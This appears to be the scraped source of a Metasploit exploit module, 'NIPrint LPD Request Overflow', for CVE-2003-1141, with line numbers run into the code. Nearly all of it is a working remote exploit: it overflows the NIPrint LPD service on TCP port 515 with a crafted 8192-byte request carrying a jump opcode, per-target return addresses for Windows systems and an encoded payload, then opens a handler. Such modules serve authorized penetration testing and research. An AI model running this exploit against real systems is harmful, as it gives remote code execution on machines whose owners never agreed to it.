Path: blob/master/modules/exploits/windows/lpd/niprint.rb
19719 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'NIPrint LPD Request Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the17Network Instrument NIPrint LPD service. Inspired by18Immunity's VisualSploit :-)19},20'Author' => [ 'hdm' ],21'License' => MSF_LICENSE,22'References' => [23['CVE', '2003-1141'],24['OSVDB', '2774'],25['BID', '8968'],26['URL', 'http://www.immunitysec.com/documentation/vs_niprint.html'],27],28'Privileged' => false,29'Payload' => {30'Space' => 500,31'BadChars' => "\x00\x0a",32'StackAdjustment' => -3500,33},34'Platform' => 'win',35'Targets' => [36['NIPrint3.EXE (TDS:0x3a045ff2)', { 'Ret' => 0x00404236 }], # jmp esi37['Windows XP SP3', { 'Ret' => 0x7C9D30E3 }],38['Windows 7 x64', { 'Ret' => 0x763B35DD }],39],40'DefaultTarget' => 0,41'DisclosureDate' => '2003-11-05',42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52Opt::RPORT(515)53]54)55end5657def exploit58connect5960req = rand_text_alphanumeric(8192)61req[0, 2] = "\xeb\x33"62req[49, 4] = [target.ret].pack('V')63req[53, payload.encoded.length] = payload.encoded6465print_status("Trying target #{target.name}...")66sock.put(req)6768handler69disconnect70end71end727374